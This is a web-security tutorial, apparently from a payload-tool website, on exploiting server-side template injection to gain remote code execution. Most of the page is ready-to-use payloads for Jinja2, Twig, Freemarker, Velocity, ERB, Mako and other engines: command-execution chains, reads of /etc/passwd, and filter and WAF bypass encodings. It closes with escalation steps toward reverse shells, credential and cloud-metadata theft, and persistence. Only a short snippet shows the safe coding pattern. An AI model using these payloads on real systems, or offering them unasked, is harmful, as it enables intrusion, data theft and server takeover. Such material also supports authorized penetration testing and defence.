SSTI Exploitation: From Template Injection to Remote Code Execution
Server-Side Template Injection (SSTI) is one of the most underrated vulnerabilities in web security. When user input is embedded directly into a server-side template without sanitization, attackers can inject template directives that execute arbitrary code on the server. In most cases, SSTI leads directly to Remote Code Execution (RCE).
How SSTI Works
| Engine | Language | Detection | RCE Payload | Notes |
|---|---|---|---|---|
| Jinja2 | Python | {{7*7}} | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} | Most common |
| Twig | PHP | {{7*7}} | {{['id']|filter('system')}} | Symfony/Craft |
| Freemarker | Java | ${7*7} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} | Java apps |
| Velocity | Java | #set($x=7*7)${x} | #set($s="")#set($x=$s.class.forName("java.lang.Runtime")) | Legacy Java |
| Smarty | PHP | {7*7} | {system('id')} | PHP frameworks |
| Pebble | Java | {{7*7}} | {% for i in "".class.forName("java.lang.Runtime")... %} | Java |
| ERB | Ruby | <%= 7*7 %> | <%= `id` %> | Rails apps |
Template engines (Jinja2, Twig, Freemarker, etc.) process templates that mix static content with dynamic expressions. When user input is concatenated into a template string instead of being passed as data, the engine evaluates the attacker's input as template code:
# Vulnerable (input treated as template code)
render_template_string("Hello " + user_input)
# Safe (input treated as data)
render_template_string("Hello {{name}}", name=user_input)
Step 1: Detection
Inject mathematical expressions to detect template evaluation:
# Universal detection payloads
{{7*7}} -> 49 (Jinja2, Twig, most engines)
${7*7} -> 49 (Freemarker, Velocity, Mako)
#{7*7} -> 49 (Thymeleaf, EL)
<%= 7*7 %> -> 49 (ERB, EJS)
{{7*'7'}} -> 7777777 (Jinja2) vs 49 (Twig) — engine fingerprint!
The last payload is particularly useful: Jinja2 treats 7*'7' as string repetition (Python behavior) while Twig performs integer multiplication.
Step 2: Identify the Template Engine
Use a decision tree approach with specific payloads:
# Step 1: Try {{7*'7'}}
-> Returns "7777777" -> Jinja2 (Python)
-> Returns "49" -> Twig (PHP)
-> Error -> Try ${7*7}
# Step 2: If ${7*7} works
-> Try ${class.getClass()} -> Freemarker (Java)
-> Try $class.inspect() -> Velocity (Java)
# Step 3: If <%= 7*7 %> works
-> Ruby context -> ERB
-> JavaScript context -> EJS
Jinja2 (Python) Exploitation
Jinja2 is the most commonly exploited template engine, used in Flask and Django. The goal is to navigate Python's object hierarchy to reach os.popen() or subprocess.Popen():
Reading Files
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('/etc/passwd').read() }}
# Find the file class index:
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if 'FileLoader' in c.__name__ %}{{loop.index0}}{% endif %}
{% endfor %}
Remote Code Execution
# Method 1: via os.popen
{{ ''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate() }}
# Method 2: via config object (Flask-specific)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
# Method 3: via lipsum (Flask-specific, bypass filters)
{{ lipsum.__globals__['os'].popen('id').read() }}
# Method 4: via cycler (another Flask bypass)
{{ cycler.__init__.__globals__.os.popen('id').read() }}
Twig (PHP) Exploitation
Twig is used in Symfony and many PHP frameworks:
# Twig 1.x RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Twig 2.x/3.x RCE (via filter)
{{['id']|filter('system')}}
# File read
{{'/etc/passwd'|file_excerpt(1,-1)}}
Freemarker (Java) Exploitation
Freemarker is common in Java web applications:
# RCE via Execute
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
# RCE via ObjectConstructor
<#assign classloader=object?api.class.protectionDomain.classLoader>
${classloader.loadClass("java.lang.Runtime").getMethod("exec","java.lang.String").invoke(classloader.loadClass("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id")}
# File read
${object.getClass().getResource("/").getPath()}
Other Template Engines
Velocity (Java)
#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))##
#set($chr=$x.class.forName('java.lang.Character'))##
#set($str=$x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
ERB (Ruby)
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').readlines() %>
Mako (Python)
${__import__("os").popen("id").read()}
Filter Bypass Techniques
When WAFs or application-level filters block your SSTI payloads, try these bypasses:
# Bypass dot notation filters (Jinja2)
{{ ''['__class__']['__mro__'][1] }}
{{ ''|attr('__class__')|attr('__mro__') }}
# Bypass underscore filters
{{ ''['\x5f\x5fclass\x5f\x5f'] }}
{% set x = '\x5f\x5fclass\x5f\x5f' %}{{ ''[x] }}
# Bypass bracket filters
{{ ''|attr('__class__') }}
# String concatenation to build blocked keywords
{% set a='__cla' %}{% set b='ss__' %}{{ ''[a~b] }}
Our WAF Bypass Generator can encode SSTI payloads to evade common WAF rules. Combine with the Encoder/Decoder for manual encoding.
SSTI in the Real World
Common injection points to test:
- Email templates (password reset, notifications)
- PDF generation from user-supplied templates
- Custom error pages with user input in the message
- CMS template editors and theme customization
- Marketing automation platforms with template variables
- Report generators with user-defined formatting
From SSTI to Full Compromise
Once you achieve RCE via SSTI, escalate with:
- Use our Reverse Shell Generator to establish an interactive session
- Read sensitive files: database credentials, API keys, cloud metadata
- Pivot to internal services via SSRF techniques
- Check for Command Injection in other endpoints for persistence
Generate SSTI payloads for all major template engines with our SSTI Generator, and reference the SSTI Cheat Sheet for a complete payload reference.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides